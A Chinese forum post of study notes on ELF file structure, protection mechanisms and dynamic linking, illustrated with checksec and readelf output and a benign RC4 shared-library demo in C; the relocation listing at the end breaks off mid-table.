首页
社区
课程
招聘
[原创]二进制安全-elf文件结构和动态链接
发表于: 2天前 747

[原创]二进制安全-elf文件结构和动态链接

2天前
747


二进制安全-elf文件结构和动态链接

Rop链
因为现在的NX保护,构造shellcode变得困难.所以现在一般用一些方法让ret返回到程序原本就有的代码去执行,

checksec

可以确定程序保护机制的开启情况

 ~/St/b/p/6/ret2libc (1)  checksec ./pwn            ✔  sage-10.6   16:05:18 
[*] '/home/f0x/Study/binbinbin/pwn/6month/ret2libc (1)/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

可以简要介绍一下这几个保护机制

Arch:       amd64-64-little

属性是小端序.这里是64bit开启小端序

  • 大端序:符合人类阅读顺序,高位字节放在低地址处
  • 小端绪: 低位字节放低地址处
大端:12 34 56 78
小端:78 56 34 12

都表示 0x12345678

RELRO:      Partial RELRO

重定位表只读保护

.got  
.dynamic  
.init_array  
.fini_array

主要是与重定位相关的区域设置为只读
不过这里有一个问题是他通常因为动态链接,不会完全保护```
.got.plt 表
等下我们可以一起回顾一下动态链接相关的内容,之前虽然血学过不过总感觉没透彻

  • ps: RELO有多种
  • NO RELRO : 重定位后不改变plt这些 表的读写
  • Partial RELO: 部分改变 ,但是.got.plt不改变因为要延迟绑定
  • FULL_RELRO:全部改变, 之后.got.plt就变成可读,可以适当减少安全风险

Stack:      No canary found

金丝雀栈保护
编译器会在局部变量和返回地址之间插入一个 随机生成的特殊数值,函数返回前会检查这个数值,如果这个数值不一样则强制退出
如果能泄漏这个随即数值或者爆破的方法其实是可以绕过的

NX(No-eXecute)

全称不可执行保护,顾名思义
开启 NX 后,栈、堆这类数据区域通常不可执行。

ASLR

结合pie一起说就是, ASLR一般控制堆栈libc
ld-linux
mmap 区域
PIE 是 gcc 编译器的功能选项,作用于程序(ELF)编译过程中。是一个针对代码段( .text )、数据段( .data )、未初始化全局变量段( .bss )等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过 ROPgadget 等一些工具来帮助解题。
ASLR 有三个安全等级:
0: ASLR 关闭
1:随机化栈基地址(stack)、共享库(.so\libraries)、mmap 基地址
2:在1基础上,增加随机化堆基地址(chunk)

shadow stack

影子栈,影子栈是当今主流的硬件级防御,系统在受保护的隐藏内存区域维护一个返回地址的副本(影子栈),当函数返回时,硬件会比对主栈和影子栈中的返回地址。如果两者不一致,系统会立即拦截。

1.5 控制流完整性(CFI)

CFI 通过在编译阶段生成程序的控制流图(CFG),记录所有合法的跳转目标。程序执行每一个间接跳转(如函数返回、虚函数调用、指针跳转)之前,系统会实时比对目标地址是否在合法的 CFG 范围内;如果发现跳转目标不在预定义路径中,程序会立即终止,防止攻击者执行恶意代码。

链接

之前已经在CSAPP上学过了,不过吧.印象不是很深刻,这也是为什么无聊的试试万万pwn题...虽然只能做一些简单的哈哈哈.巩固一下还是不错的.ps:不知道为什么blog的latex渲染这么10.或许我需要更细了??再说吧

  • 静态连接指的是链接器在生成可执行文件的时,把程序用到的多个目标文件 .o文件 ,以及静态库.a中需要的目标合块,合并到最终的可执行文件中,并完成符号解析,重定位等等工作.
    这里简单解释一下elf文件的各种类型和基本结构

elf文件类型

  • 可重定位目标文件(.o):还没有完成最终链接.里面有代码,数据,符号表和重定位信息
  • 可执行文件:可直接运行的程序
  • 共享目标文件:可被动态链接器加载 .       .so动态库
  • 核心转储文件:保存程序崩溃的时候 寄存器和内存线程信号等状态.主要用于调试器分析程序为什么崩溃...... 系统可能会生成一个core 文件.

elf文件的结构

elf 的结构有两种视角
链接过程中一般是以section(节)为基本单位.主要作用于编译,链接和符号解析,重定位的过程
加载执行的过程中一般是以(segment)为基本单位. 程序运行的时候如何装载进内存
readelf可以看到一个elf文件的文件头\

ELF 头:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  类别:                              ELF64
  数据:                              2 补码,小端序 (little endian)
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI 版本:                          0
  类型:                              EXEC (可执行文件)
  系统架构:                          Advanced Micro Devices X86-64
  版本:                              0x1
  入口点地址:               0x4010b0
  程序头起点:          64 (bytes into file)
  Start of section headers:          14272 (bytes into file)
  标志:             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         13
  Size of section headers:           64 (bytes)
  Number of section headers:         31
  Section header string table index: 30

这里包含了程序的基础信息

字段作用
MagicELF 文件识别标识
类别ELF64
数据小端序
versionelf文件的格式版本
OS/ABI表示该 ELF 文件遵循哪种操作系统级二进制接口约定
类型可执行文件
版本elf对象的文件版本
入口地址点程序开始执行的入口地址
程序头起点程序头在文件中的偏移,其实也对应了elf文件头的大小
节头起点Section Header Table 在文件中的偏移
ELF头大小ELF头自身的大小
程序头数量有 13 个 Program Header
节头大小每个 Section Header 的大小
程序头大小每个 Program Header 的大小
节头数量有 31 个 Section Header
节名字符串表索引第 30 个节保存节名字符串

readelf -S xx 输出节头
readellf -l xx 输出程序头
可以发现.. 一个段里面有多个section

 ~/St/binbinbin/pwn/6month/ret2libc (1)  readelf -l pwn                                                           ✔  sage-10.6   15:31:32 

Elf 文件类型为 EXEC (可执行文件)
Entry point 0x4010b0
There are 13 program headers, starting at offset 64

程序头:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  PHDR           0x0000000000000040 0x0000000000400040 0x0000000000400040
                 0x00000000000002d8 0x00000000000002d8  R      0x8
  INTERP         0x0000000000000318 0x0000000000400318 0x0000000000400318
                 0x000000000000001c 0x000000000000001c  R      0x1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000
                 0x0000000000000660 0x0000000000000660  R      0x1000
  LOAD           0x0000000000001000 0x0000000000401000 0x0000000000401000
                 0x000000000000027d 0x000000000000027d  R E    0x1000
  LOAD           0x0000000000002000 0x0000000000402000 0x0000000000402000
                 0x0000000000000184 0x0000000000000184  R      0x1000
  LOAD           0x0000000000002e10 0x0000000000403e10 0x0000000000403e10
                 0x0000000000000238 0x0000000000000280  RW     0x1000
  DYNAMIC        0x0000000000002e20 0x0000000000403e20 0x0000000000403e20
                 0x00000000000001d0 0x00000000000001d0  RW     0x8
  NOTE           0x0000000000000338 0x0000000000400338 0x0000000000400338
                 0x0000000000000030 0x0000000000000030  R      0x8
  NOTE           0x0000000000000368 0x0000000000400368 0x0000000000400368
                 0x0000000000000044 0x0000000000000044  R      0x4
  GNU_PROPERTY   0x0000000000000338 0x0000000000400338 0x0000000000400338
                 0x0000000000000030 0x0000000000000030  R      0x8
  GNU_EH_FRAME   0x0000000000002030 0x0000000000402030 0x0000000000402030
                 0x000000000000004c 0x000000000000004c  R      0x4
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RW     0x10
  GNU_RELRO      0x0000000000002e10 0x0000000000403e10 0x0000000000403e10
                 0x00000000000001f0 0x00000000000001f0  R      0x1

 Section to Segment mapping:
  段节...
   00     
   01     .interp 
   02     .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt 
   03     .init .plt .plt.sec .text .fini 
   04     .rodata .eh_frame_hdr .eh_frame 
   05     .init_array .fini_array .dynamic .got .got.plt .data .bss 
   06     .dynamic 
   07     .note.gnu.property 
   08     .note.gnu.build-id .note.ABI-tag 
   09     .note.gnu.property 
   10     .eh_frame_hdr 
   11     
   12     .init_array .fini_array .dynamic .got

不同的segment以及里面的sections

这里就是一个Program header.描述Segment
在这些不同的

LOAD  
INTERP  
DYNAMIC  
NOTE  
GNU_PROPERTY  
GNU_STACK  
GNU_RELRO  
GNU_EH_FRAME

Program header种类中,只有LOAD才会真正被加载进内存,其他都是描述信息的

INTERP
    告诉内核动态链接器路径在哪里

DYNAMIC
    告诉动态链接器 .dynamic 表在哪里

NOTE
    告诉系统/工具 note 信息在哪里

GNU_RELRO
    告诉动态链接器哪些区域重定位完成后要改只读

GNU_STACK
    告诉系统栈是否需要可执行权限

PHDR

PHDR           Offset 0x40
               VirtAddr 0x400040
               FileSiz 0x2d8
               MemSiz  0x2d8
               Flags R

描述 Program Header Table  本身
根据描述.

  • 程序头表的文件偏移0x40
  • 运行时地址是0x400040
  • 大小是0x2d8
  • 权限是只读

INTERP

里面是  .interp节

INTERP         Offset 0x318
               VirtAddr 0x400318
               FileSiz 0x1c
               MemSiz  0x1c
               Flags R

INTERP 指定程序需要哪个动态链器启动(
动态链接器:它不是普通依赖库,而是负责加载和链接其他共享库的动态链接器)

 ~/St/binbinbin/pwn/6month/ret2libc (1)  readelf -p .interp pwn                                                   ✔  sage-10.6   16:05:54 

String dump of section '.interp':
  [     0]  /lib64/ld-linux-x86-64.so.2

比如这里默认就是使用的系统的so文件.
如果程序是一个动态链接程序启动的流程就是

内核加载 pwn
    ↓
读取 .interp
    ↓
发现需要 /lib64/ld-linux-x86-64.so.2
    ↓
加载动态链接器
    ↓
动态链接器加载 libc
    ↓
处理重定位
    ↓
跳到 pwn 的入口点 0x4010b0

第一个LOAD:只读元数据段

LOAD           Offset 0x0
               VirtAddr 0x400000
               FileSiz 0x660
               MemSiz  0x660
               Flags R
               Align 0x1000#对其要求4096.就是程序的一页大小

这是第一个被加载到内存的段

  • 表示直接从程序最开始到0x600的位置

  • 文件其实地址就是基地址 0x400000

  • 权限是只读R
    该Segment的section有

    .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag
    .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r
    .rela.dyn .rela.plt

section作用
interp动态链接器路径(不是一般的依赖库)
.note.gnu.propertyGNU的属性信息
.note.gnu.build-id构建id,调试符号匹配会用到
.note.ABI-tagABI相关说明
.gnu.hash动态符号查找用的哈希表
.dynsym动态符号表
.dynstr动态字符串表
.gnu.version符号版本信息
.gnu.version_r依赖库的符号版本需求
.rela.dyn普通动态重定位表
.rela.pltPLT 函数调用重定位表

这一段其实主要是给动态链接器读的

动态链接的字符串往往和符号表一同作用.一般来说 dynsym不直接在name 里面存放字符串里面有专门有一个偏移
利用.dynstr的起始地址+偏移的形式 定位name的字符串

Symbol table '.dynsym' contains 10 entries:
Num:    Value          Size Type    Bind   Vis      Ndx Name
  0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
  1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.34 (2)
  2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.2.5 (3)
  3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND setbuf@GLIBC_2.2.5 (3)
  4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.2.5 (3)
  5: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
  6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fflush@GLIBC_2.2.5 (3)
  7: 0000000000404060     8 OBJECT  GLOBAL DEFAULT   26 stdout@GLIBC_2.2.5 (3)
  8: 0000000000404070     8 OBJECT  GLOBAL DEFAULT   26 stdin@GLIBC_2.2.5 (3)
  9: 0000000000404080     8 OBJECT  GLOBAL DEFAULT   26 stderr@GLIBC_2.2.5 (3)
这里因为我readelf 使用了-W所以自动把name解析出来了
 ~/St/b/pwn/6month/ret2libc (1)  readelf -p  .dynstr ./pwn                                                      1 ✘  sage-10.6   17:14:33 

String dump of section '.dynstr':
  [     1]  read
  [     6]  __libc_start_main
  [    18]  stdout
  [    1f]  puts
  [    24]  fflush
  [    2b]  stdin
  [    31]  stderr
  [    38]  setbuf
  [    3f]  libc.so.6
  [    49]  GLIBC_2.2.5
  [    55]  GLIBC_2.34
  [    60]  __gmon_start__

这是dynstr里面的内容

第二个LOAD代码段

LOAD           Offset 0x1000
               VirtAddr 0x401000
               FileSiz 0x27d
               MemSiz  0x27d
               Flags R E
               Align 0x1000

这部分表示

  • 这部分偏移是0x1000~0x127d 的内容
  • 加载到内存 0x401000~0x40126d
  • 文件权限是可读可执行
    对应的section
03     .init .plt .plt.sec .text .fini
section作用
.init程序初始化代码
.plt动态函数调用跳板.也是一段可执行的代码本质
.plt.sec新式PLT相关代码
.text主程序机器指令
.fini程序结束时的代码


第三个LOAD,只读LOAD

Type     LOAD
Offset   0x002000
VirtAddr 0x402000
PhysAddr 0x402000
FileSiz  0x184
MemSiz   0x184
Flags    R
Align    0x1000

保留只读数据段,例如常量之类的
.rodata

  • 保留只读数据,包括一些常量字符串之类的.例如printf("hello ")的hello,"%s"之类的
    .eh_frame_hdr
  • 异常处理,栈展开信息检索
    .eh_frame
  • 异常处理 / 栈展开信息
    调试、异常处理、backtrace 时可能用到

第四个LOAD,可写数据段

Type     LOAD
Offset   0x002e10
VirtAddr 0x403e10
PhysAddr 0x403e10
FileSiz  0x238
MemSiz   0x280
Flags    RW
Align    0x1000

看权限是可读和可写
这里文件内容大小是0x238,MemSiz是内存空间的大小.文件映射到内存的内容是0x238剩下的这0x48其实也就是 .bss了
这部分加载的段加载下列 sections

  • init_array
    初始化函数指针调用
  • fini_array
    结束函数指针的数组
  • .dynamic
    动态链接信息表,里面根据他找到依赖库,重定位表,符号表,字符串表等等
  • .got
    全局偏移表
    保存动态链接后解析出来的地址
  • .got.plt
    plt 使用的全局偏移表相关的部分
  • .data
    已经初始化的全局变量,静态变量
  • .bss
    没有加载的全局变量和静态变量
    ps :可以补充一点的就是
    静态局部变量,静态全局变量,全局变量都放在data 里面.但是他们可以通过symbols里面的 bind属性来判定是否使用  ,

bind 有四个值:
local,global,weak和UNIQUE
global就表示全局变量
local表示静态变量至于是局部还是全局的,就看这个变量是在哪个位置了
这里weak表示弱引用,如果同名的另一个是global,在链接的时候就用另一个.

dynamic

其实就是前面的.dynamic,因为在加载的时候动态链接器必须要用到.dynamic所以必须要加载使用.dynamic,所以仅仅前面那部分是无法分辨出.dynamic的位置的所以需要在这里确定.dynamic的位置

 ~/Study/binbinbin/pwn/6month/ret2libc (1)  readelf -dW ./pwn                                                                   ✔  03:19:27 

Dynamic section at offset 0x2e20 contains 24 entries:
  标记        类型                         名称/值
 0x0000000000000001 (NEEDED)             共享库:[libc.so.6]
 0x000000000000000c (INIT)               0x401000
 0x000000000000000d (FINI)               0x401270
 0x0000000000000019 (INIT_ARRAY)         0x403e10
 0x000000000000001b (INIT_ARRAYSZ)       8 (bytes)
 0x000000000000001a (FINI_ARRAY)         0x403e18
 0x000000000000001c (FINI_ARRAYSZ)       8 (bytes)
 0x000000006ffffef5 (GNU_HASH)           0x4003b0
 0x0000000000000005 (STRTAB)             0x4004d0
 0x0000000000000006 (SYMTAB)             0x4003e0
 0x000000000000000a (STRSZ)              111 (bytes)
 0x000000000000000b (SYMENT)             24 (bytes)
 0x0000000000000015 (DEBUG)              0x0
 0x0000000000000003 (PLTGOT)             0x404000
 0x0000000000000002 (PLTRELSZ)           96 (bytes)
 0x0000000000000014 (PLTREL)             RELA
 0x0000000000000017 (JMPREL)             0x400600
 0x0000000000000007 (RELA)               0x400588
 0x0000000000000008 (RELASZ)             120 (bytes)
 0x0000000000000009 (RELAENT)            24 (bytes)
 0x000000006ffffffe (VERNEED)            0x400558
 0x000000006fffffff (VERNEEDNUM)         1
 0x000000006ffffff0 (VERSYM)             0x400540
 0x0000000000000000 (NULL)               0x0

这里就是.dynamic的内容,主要是给动态链接器看的.上面标注了很多内容,我们可以逐一解释
以便后续我们逐步了解动态链接的过程
分类的来看的话

依赖库:
  NEEDED        libc.so.6

初始化/析构:
  INIT          0x401000
  FINI          0x401270
  INIT_ARRAY    0x403e10
  INIT_ARRAYSZ  8
  FINI_ARRAY    0x403e18
  FINI_ARRAYSZ  8

动态符号查找:
  GNU_HASH      0x4003b0
  SYMTAB        0x4003e0
  SYMENT        24
  STRTAB        0x4004d0
  STRSZ         111

调试辅助:
  DEBUG         0x0

PLT/GOT/lazy binding:
  PLTGOT        0x404000
  JMPREL        0x400600
  PLTRELSZ      96
  PLTREL        RELA

普通重定位:
  RELA          0x400588
  RELASZ        120
  RELAENT       24

符号版本:
  VERSYM        0x400540
  VERNEED       0x400558
  VERNEEDNUM    1

结束:
  NULL          0x0

NEEDED就不用讲了,就是用来描述 所需要的依赖的
我们首先来看看
0x000000000000000c (INIT)               0x401000
0x0000000000000019 (INIT_ARRAY)         0x403e10
0x000000000000001b (INIT_ARRAYSZ)       8 (bytes)
0x000000000000001a (FINI_ARRAY)         0x403e18
0x000000000000001c (FINI_ARRAYSZ)       8 (bytes)

INIT在最开始的时候执行通常是一些初始化代码,然后 INIT_array是一个函数指针数组,之后这里面的函数依次执行,再然后这个INIT_ARRAYSZ其实是告诉一个INIT这个数组大小是8字节
FINI同理,就是结束的时候调用的函数
执行顺序如下

main 返回 / exit
    ↓
  DT_FINI_ARRAY[n-1]
  ...
  DT_FINI_ARRAY[1]
  DT_FINI_ARRAY[0]
    ↓
  DT_FINI

至于为什么 动态链接器需要fini这种,因为这些函数里面可能调用 puts这种

动态符号查找:
  GNU_HASH      0x4003b0
  SYMTAB        0x4003e0
  SYMENT        24
  STRTAB        0x4004d0
  STRSZ         111

这一部分主要是与动态符号查找有关.

  • GNU_HASH
    GNU 风格的动态符号哈希表地址.,能够加速动态链接器查找动态符号表的速度
  • SYMTAB
    其实就是.dynsym,前面以及讲过了.在动态链接部分会详细一起讲一下.
  • STRTAB
    就是动态字符串表
  • SYMENT
    单个 .dynsym 符号表项大小,ELF64 下通常是 24 字节。
  • STRSZ
    动态字符串表大小,xx字节
PLT/GOT/lazy binding:
  PLTGOT        0x404000
  JMPREL        0x400600
  PLTRELSZ      96
  PLTREL        RELA
  • PLTGOT
    got.plt 这个应该都清楚了
  • JMPREL
    表示的.rela.plt
  • PLTRELSZ
    整个 .rela.plt 的总字节大小
  • PLTREL
    表示他是这个RELA这种类型的
    重定位有两种类型
  • RELAENT:
    单个 Elf64_Rela 表项大小,x86-64 下通常是 24 字节。
    rela和rel rela多了一个偏移的addend数
符号版本:
  VERSYM        0x400540
  VERNEED       0x400558
  VERNEEDNUM    1

符号版本相关的这是.

  • VERSYM
    表示动态符号版本表 .gnu.version 的地址。
  • VERNEED
    表示版本需求表 .gnu.version_r 的地址。
  • VERNEEDNUM
    表示版本需求项数
    后面主要就是一些元信息了

第一个note

Type NOTE  
Offset 0x000338  
VirtAddr 0x400338  
PhysAddr 0x400338  
FileSiz 0x30  
MemSiz 0x30  
Flags R  
Align 0x8

对应 section:

     .note.gnu.property

用于描述保存 GNU property note
用于描述二进制属性

第二个note

Type     NOTE
Offset   0x000368
VirtAddr 0x400368
PhysAddr 0x400368
FileSiz  0x44
MemSiz   0x44
Flags    R
Align    0x4

对应 section:

    .note.gnu.build-id .note.ABI-tag

作用:
.note.gnu.build-id保存 build-id常用于调试符号匹配、core dump 分析
.note.ABI-tag保存 ABI 相关说明
同样也位于第一个 LOAD里面

GNU_PROPERTY

Type     GNU_PROPERTY
Offset   0x000338
VirtAddr 0x400338
PhysAddr 0x400338
FileSiz  0x30
MemSiz   0x30
Flags    R
Align    0x8

对应sections:
.note.gnu.property
它和前面的第一个 NOTE 指向同一片内容

GNU_EH_FRAME

Type     GNU_EH_FRAME
Offset   0x002030
VirtAddr 0x402030
PhysAddr 0x402030
FileSiz  0x4c
MemSiz   0x4c
Flags    R
Align    0x4

异常处理相关的
eh_frame_hdr
用于异常处理和栈展开

GNU_STACK

Type     GNU_STACK
Offset   0x0
VirtAddr 0x0
PhysAddr 0x0
FileSiz  0x0
MemSiz   0x0
Flags    RW
Align    0x10

没有对应的sections,单纯描述stack的权限不可执行,对应了NX.

GNU_RELRO

Type     GNU_RELRO
Offset   0x002e10
VirtAddr 0x403e10
PhysAddr 0x403e10
FileSiz  0x1f0
MemSiz   0x1f0
Flags    R
Align    0x1

描述程序启动完成后哪些sections的 权限需要改为只读

  .init_array .fini_array .dynamic .got

这些在动态链接完成后权限就会改变为仅仅可读,不过因为延迟绑定got.plt不用改
需要注意的是虽然.init_array 和.fini_array里面存的本来就是 函数的地址,而不是 像外部调用这个 call [ip]  ,然后*ip= xxx; xxx这个地址的这种.形式.
所以是不会使用延迟绑定的,需要在启动的时候直接更改了.

链接过程

示例demo

这里写了一个示例的demo

main.c

#include "rc4demo.h"
#include <stdio.h>
#include <string.h>

typedef void (*hook_t)(void);

/*
 * main 自己内部的 init 函数
 */
static void main_init_hook(void) {
    puts("[main] main_init_hook called from main .init_array");
}

/*
 * main 自己内部的 fini 函数
 */
static void main_fini_hook(void) {
    puts("[main] main_fini_hook called from main .fini_array");
}

/*
 * main 自己内部的函数指针目标
 */
static void main_fp_target(void) {
    puts("[main] main_fp_target called through function pointer");
}

/*
 * 1. 往 main 的 .init_array 里放 main 内部函数地址
 *
 * PIE 下通常产生 R_X86_64_RELATIVE:
 *     .init_array[i] = main_base + main_init_hook_offset
 */
__attribute__((used, section(".init_array.01000"), aligned(sizeof(void *))))
static hook_t init_main_ptr = main_init_hook;

/*
 * 2. 往 main 的 .init_array 里放 so 里的外部函数地址
 *
 * 这个不是 PLT 懒绑定。
 * 它是“数据里的函数指针”,通常会在 .rela.dyn 里产生符号型重定位:
 *     .init_array[i] = lib_init_hook 的真实地址
 */
__attribute__((used, section(".init_array.01001"), aligned(sizeof(void *))))
static hook_t init_lib_ptr = lib_init_hook;

/*
 * 3. 往 main 的 .fini_array 里放 main 内部函数地址
 *
 * PIE 下通常也是 R_X86_64_RELATIVE。
 */
__attribute__((used, section(".fini_array.01000"), aligned(sizeof(void *))))
static hook_t fini_main_ptr = main_fini_hook;

/*
 * 4. 往 main 的 .fini_array 里放 so 里的外部函数地址
 *
 * 同样是 .rela.dyn 符号型重定位,不是 .rela.plt。
 */
__attribute__((used, section(".fini_array.01001"), aligned(sizeof(void *))))
static hook_t fini_lib_ptr = lib_fini_hook;

/*
 * 5. 普通全局函数指针:指向 main 内部函数
 *
 * PIE 下通常产生 R_X86_64_RELATIVE。
 */
hook_t fp_to_main = main_fp_target;

/*
 * 6. 普通全局函数指针:指向 so 外部函数
 *
 * 通常产生 .rela.dyn 里的符号型重定位。
 */
hook_t fp_to_lib = lib_fp_target;

int main(void) {
    setbuf(stdout, NULL);

    puts("[main] enter main");

    /*
     * 访问 so 里的全局变量。
     * lib_banner / lib_global_counter 是外部数据符号。
     */
    printf("[main] lib_banner = %s\n", lib_banner);
    printf("[main] lib_global_counter before = 0x%x\n", lib_global_counter);

    /*
     * 函数指针间接调用。
     *
     * 汇编里通常类似:
     *     mov rax, [fp_to_main]
     *     call rax
     *
     *     mov rax, [fp_to_lib]
     *     call rax
     */
    fp_to_main();
    fp_to_lib();

    /*
     * rc4_init / rc4_crypt 是 so 里的外部函数。
     * 这种直接调用通常走 PLT:
     *
     *     call rc4_init@plt
     *     call rc4_crypt@plt
     */
    const uint8_t key[] = "secret";
    uint8_t data[] = "hello rc4";
    RC4_CTX ctx;

    rc4_init(&ctx, key, strlen((const char *)key));
    rc4_crypt(&ctx, data, strlen((const char *)data));

    printf("[main] encrypted bytes:");
    for (size_t i = 0; i < strlen((const char *)"hello rc4"); i++) {
        printf(" %02x", data[i]);
    }
    putchar('\n');

    printf("[main] lib_global_counter after = 0x%x\n", lib_global_counter);

    puts("[main] leave main");
    return 0;
}

librc4demo.c

#include <stdint.h>
#include <stddef.h>
#include <stdio.h>

#define SBOX_SIZE 256

typedef struct {
    uint8_t S[SBOX_SIZE];
    uint8_t i;
    uint8_t j;
} RC4_CTX;

/*
 * 这个全局变量定义在 so 里面。
 * main 程序里会 extern 引用它,用来观察外部全局变量的动态重定位。
 */
int lib_global_counter = 0x1234;

/*
 * 这个也是 so 里的全局变量。
 * main 程序会读取它。
 */
const char *lib_banner = "[lib] rc4 demo shared object";

/*
 * 这个函数会被 main 程序手动放进 main 的 .init_array。
 * 注意:这个函数定义在 so 里面。
 */
void lib_init_hook(void) {
    puts("[lib] lib_init_hook called from main .init_array");
    lib_global_counter += 1;
}

/*
 * 这个函数会被 main 程序手动放进 main 的 .fini_array。
 * 注意:这个函数也定义在 so 里面。
 */
void lib_fini_hook(void) {
    printf("[lib] lib_fini_hook called from main .fini_array, counter=%d\n",
           lib_global_counter);
}

/*
 * 这个函数会被 main 程序的函数指针 fp_to_lib 调用。
 */
void lib_fp_target(void) {
    puts("[lib] lib_fp_target called through function pointer");
    lib_global_counter += 2;
}

/*
 * RC4 初始化函数。
 * main 直接调用 rc4_init,这种外部函数调用通常会走 PLT。
 */
void rc4_init(RC4_CTX *ctx, const uint8_t *key, size_t key_len) {
    uint8_t j = 0;

    for (int i = 0; i < SBOX_SIZE; i++) {
        ctx->S[i] = (uint8_t)i;
    }

    for (int i = 0; i < SBOX_SIZE; i++) {
        j = (uint8_t)(j + ctx->S[i] + key[i % key_len]);

        uint8_t tmp = ctx->S[i];
        ctx->S[i] = ctx->S[j];
        ctx->S[j] = tmp;
    }

    ctx->i = 0;
    ctx->j = 0;

    printf("[lib] rc4_init done, key_len=%zu\n", key_len);
}

/*
 * RC4 加密/解密函数。
 * main 直接调用 rc4_crypt,这种外部函数调用通常也会走 PLT。
 */
void rc4_crypt(RC4_CTX *ctx, uint8_t *data, size_t len) {
    for (size_t n = 0; n < len; n++) {
        ctx->i = (uint8_t)(ctx->i + 1);
        ctx->j = (uint8_t)(ctx->j + ctx->S[ctx->i]);

        uint8_t tmp = ctx->S[ctx->i];
        ctx->S[ctx->i] = ctx->S[ctx->j];
        ctx->S[ctx->j] = tmp;

        uint8_t k = ctx->S[(uint8_t)(ctx->S[ctx->i] + ctx->S[ctx->j])];
        data[n] ^= k;
    }
}

rc4demo.h

#ifndef RC4DEMO_H
#define RC4DEMO_H

#include <stdint.h>
#include <stddef.h>

#define SBOX_SIZE 256

typedef struct {
    uint8_t S[SBOX_SIZE];
    uint8_t i;
    uint8_t j;
} RC4_CTX;

/* so 里的全局变量 */
extern int lib_global_counter;
extern const char *lib_banner;

/* so 里的 hook 函数 */
void lib_init_hook(void);
void lib_fini_hook(void);
void lib_fp_target(void);

/* so 里的 RC4 函数 */
void rc4_init(RC4_CTX *ctx, const uint8_t *key, size_t key_len);
void rc4_crypt(RC4_CTX *ctx, uint8_t *data, size_t len);

#endif

之后编译

gcc -O0 -g -fPIC -shared librc4demo.c -o librc4demo.so
gcc -O0 -g main.c -L. -lrc4demo -Wl,-rpath,'$ORIGIN' -o main_rc4

动态链接

动态链接相关的sections有这些,其实基本就是.dynamic里面的那些.
这里我们以现在的.plt.sec的调用形式为基准

.interp 存放动态链接器的路径, 在内核启动阶段调用
.dynamic 动态链接总目录   在动态链接器启动时读取
.dynsym 动态符号表   用于符号解析,提供符号信息
.dynstr 动态字符串表name 来源于 .dynstr前面已经说过了 在符号解析的时候时候
.gun.hash 加速符号查找    在符号解析的时候使用
.gnu.version 符号版本索引   版本匹配
.gnu.version_r 需要的外部版本  版本匹配
.gnu.version_d 当前so定义的版本 版本匹配
其实都是glibc版本相关的,具体应该没啥吧,暂时先不管
.rela.dyn 普通动态重定位表 稍后 启动阶段使用
.rela.plt   plt函数重定位  用于懒绑定
.plt      第一次调用某个函数的时候进入
.plt.sec 第一次先进入plt调用 动态链接器 之后就能直接从got.plt调用函数了
.plt.got 一些可能不适合使用懒加载的函数调用,具体稍后讲.
.got 全局偏移表
.got.plt  懒加载相关的偏移表
.init_array  .fini_array .init .fini 前面都说过了.后面再说
.data.rel.ro重定位后的只读数据,比较难理解感觉.后面一起讲吧

动态链接的整体流程如下.这里是根据前面的内容结合ai整理了一下

execve("./main_rc4")
    ↓
内核读取 ELF Header
    ↓
内核读取 Program Header
    ↓
根据 PT_LOAD 映射主程序的可加载段
    ↓
发现 PT_INTERP
    ↓
加载 /lib64/ld-linux-x86-64.so.2
    ↓
把控制权交给动态链接器
    ↓
动态链接器读取主程序 PT_DYNAMIC / .dynamic
    ↓
根据 DT_NEEDED 找依赖库
    ↓
mmap 加载 libc、librc4demo.so 等共享库
    ↓
为每个已加载 ELF 建立 link_map
    ↓
处理 .rela.dyn 普通重定位
    ↓
处理 .rela.plt 或保留 lazy binding
    ↓
设置 RELRO,只读化部分 GOT / .dynamic / init_array
    ↓
执行各共享库和主程序的初始化函数
    ↓
跳到主程序入口 _start
    ↓
__libc_start_main 调用 main
重定位

两个相关的.rela.dyn,和.rela.plt 这两个区别其实就是与延迟绑定有关我们放在稍后讲一下
动态链接器一般就是通过rela 判断哪些位置需要重定位的.rela再通过 .dynsym 确认重定位项的符号信息.

 ~/Study/binbinbin/pwn/6month/ret2libc (1)/test  readelf -rW ./main_rc4                                                         ✔  02:09:02 

重定位节 '.rela.dyn' at offset 0x760 contains 17 entries:
    偏移量             信息             类型               符号值          符号名称 + 加数
0000000000003d78  0000000000000008 R_X86_64_RELATIVE                         1229
0000000000003d88  0000000000000008 R_X86_64_RELATIVE                         1220
0000000000003d90  0000000000000008 R_X86_64_RELATIVE                         1243
0000000000003da0  0000000000000008 R_X86_64_RELATIVE                         11e0
0000000000004048  0000000000000008 R_X86_64_RELATIVE                         4048
0000000000004050  0000000000000008 R_X86_64_RELATIVE                         125d
0000000000003d80  0000000f00000001 R_X86_64_64            0000000000000000 lib_init_hook + 0
0000000000003d98  0000000e00000001 R_X86_64_64            0000000000000000 lib_fini_hook + 0
0000000000003fa8  0000000200000006 R_X86_64_GLOB_DAT      0000000000000000 __libc_start_main@GLIBC_2.34 + 0
0000000000003fb0  0000000300000006 R_X86_64_GLOB_DAT      0000000000000000 _ITM_deregisterTMCloneTable + 0
